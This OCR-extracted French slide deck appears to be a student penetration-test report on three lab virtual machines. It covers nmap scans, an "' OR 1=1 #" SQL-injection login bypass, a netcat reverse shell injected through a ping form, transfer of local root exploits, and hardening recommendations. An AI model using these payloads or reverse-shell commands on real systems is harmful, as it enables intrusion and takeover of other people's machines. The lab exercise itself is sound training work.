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« OS obsolete
 Pas de Pare-Feu
 ldentification des services sur la machine

$ nmap 192.168.122.204 -sV
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-23 10:01 CET
Nmap scan report for 192.168.122.204
Host is up (0.0015s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9pl1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((Cent0S))
111/tcp open rpcbind 2 (RPC #100000)

443/tcp open ssl/https?
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)
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VM1 - Analyse

* OS obsolete

 Pas de Pare-Feu

* ldentification des services sur la machine

* Trafic web en clair

* Bibliotheques de chiffrement obsolete
 Mauvais certificats de sécurité

* Injections SQL

 Exécution de commandes depuis lI’'interface

d’administration




VM1 - Exploitation

Approche par le service web
— page de login
— Injection SQL : «root » & «' OR 1=1 # »
— acces a l'interface d'administration
Possibilité d’exécuter un ping
— d'autres commandes peuvent étre exécutées
— obtention d'un acces distant a la machine




VM1 - Exploitation (obtention d’un acces

distant)

192.168.122.204/index.php X | = New Tab X | 192.168.122.204/pingit.|

-i_f(—'_i- - C @ @ A 192.168.122.204/index.php

Welcome to the Basic Administrative Web Console

Ping a Machine on the 'usrflocal/bin/nc -e /binfsh 192.168.122.9
Network: | submit |
ﬂ Terminal - user@Kali: ~

File Edit View Terminal Tabs Help
¢ nc -1 -p 3333
id
uid=48(apache) gid=48(apache) groups=48(apache)




VM1 - Exploitation

Approche par le service web

— page de login

— Injection SQL : «root » & «' OR 1=1 # »

— acces a l'interface d'administration
Possibilité d’exécuter un ping

— d'autres commandes peuvent étre exécutées

— obtention d'un acces distant a la machine

Avec un shell sur la machine
— Un exploit a compiler permet de changer le mdp root



VM1 - Exploitation (acces root)

Terminal - user@Kali: ~

File Edit View Terminal Tabs Help $ nc -1 -p 3334 <

Linux ensiie.ensiie.com 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 1686 138§ py vml.txt .vml.txt.swp
6 GNU/Linux $ nc -1 -p 3334 < 40839.c

rm /tmp/* dirty -lcrypt

Jusr/local/bin/nc 192.168.122.95 3334 > /tmp/a.c

$ ssh firefart@l92.168.122.204
pwd ».204's password:
ylease try again.
?.204"'s password:
hlease try again.
: warning: no newline at end of file ».204's password:

sh: no job control in this shell $ ssh firefart@l92.168.122.204
sh-3.00# id '.204"'s password:
uid=0(root) gid=0(root) groups=48(apache) hlease try again.

sh-3.00# passwd ».204"'s password:

New UNIX password: bite

BAD PASSWORD: it is too short $ rm 40839.c

Retype new UNIX password: longuebite ¢ 1s

Sorry, passwords do not match nl.txt

New UNIX password: longuebite $ nc -1 -p 3334 < 9542.c
Retype new UNIX password: longuebite

Changing password for user root.

passwd: all authentication tokens updated successfully.

sh-3.00# [j
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VM1 - Recommandations proposées

* Mise a jour du systeme
* Mise en place d’un Par-Feu
« Améliorer la configuration des services

 Durcir le serveur web

« HTTPS, désactiver la méthode TRACE, désactiver le directory
lIsting
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VM1 - Recommandations proposées

* Mise a jour du systeme

* Mise en place d’un Par-Feu

« Améliorer la configuration des services

* Durcir le serveur web

* Mise a jour des Bibliotheques de chiffrement
 Générer de nouveaux certificats de sécurité

* Nettoyer les chaines entrées pour éviter les
injections SQL
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 OS obsolete

$ nmap -sV 192.168.122.227
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-23 12:12 CET
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 16.67% done; ETC: 12:12 (0:00:30 remaining)
Nmap scan report for 192.168.122.227
Host is up (0.0020s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenS5H 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod ssl
/2.8.4 0penS5L/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)

443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod ssl/2.8.4
OpenS5L/0.9.6b
32768/tcp open status 1 (RPC #100024)

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 16.98 seconds
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VM2 - Analyse

* OS obsolete
* Service d’acces a distance accessible
* Serveur web Apache non configuré

* Faille dans Samba permettant un acces a
distance privilégié




VM2 - Exploitation

Approche par le service Samba
— version de samba obsolete

— Un exploit a compiler permet d'obtenir une invite de
commande root
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VM2 - Recommandations proposées

* Mise a jour du systeme

* Mise en place d’'un pare-feu
 Configurer Apache correctement
* Mise a niveau de Samba




VM3 - Analyse

* Trafic web en clair

 Faille de type injection SQL

« Compte administrateur avec nom trop
générique

* Inclusion arbitraire de fichier dans I’espace
membre

 Mots de passe en clair

- Evasion du shell captif

« Systeme hote obsolete




VM3 - Exploitation

Approche par serveur web
— Injection SQL
Possibilité d’afficher des fichiers
— affichage de fichiers systemes : /etc/passwd
— connexion en SSH avec les id fournits
Acces a un shell captif
— exploitation pour accéder a un shell normal

— transfert d'un exploit déja compilé par le port 443 pour
obtenir un acces root



VM3 - Recommandations proposées

 Modifier la configuration sur serveur Apache et
générer des certificats de sécurité

 Nettoyer les entrées utilisateurs de I’application
web

- Changement du nom du compte Administrateur

- Changer de méthode d’affichage d’information sur
les membres

« Conserver des hash des mots de passe dans la base
de données

* Mettre a jour le shell captif
* Mise a jour du systeme




	Diapo 1
	Diapo 2
	Diapo 3
	Diapo 4
	Diapo 5
	Diapo 6
	Diapo 7
	Diapo 8
	Diapo 9
	Diapo 10
	Diapo 11
	Diapo 12
	Diapo 13
	Diapo 14
	Diapo 15
	Diapo 16
	Diapo 17
	Diapo 18
	Diapo 19
	Diapo 20
	Diapo 21
	Diapo 22
	Diapo 23
	Diapo 24
	Diapo 25
	Diapo 26
	Diapo 27
	Diapo 28
	Diapo 29
	Diapo 30
	Diapo 31
	Diapo 32

